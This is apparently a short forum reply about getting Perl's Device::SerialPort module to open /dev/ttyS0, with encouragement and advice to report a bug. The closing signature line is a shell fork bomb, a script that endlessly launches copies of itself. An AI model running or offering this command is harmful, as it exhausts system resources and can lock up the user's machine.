I don't think your idea is flawed.
You need to check that your Device::SerialPort object was properly created; and that you have the right permissions to access /dev/ttyS0. Once that's working, you should be able to get the rest working. Don't give up now! :-)
And yes, you should email the package owner and inform him of this bug, as the poster above suggested.
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo; | [reply] [d/l] |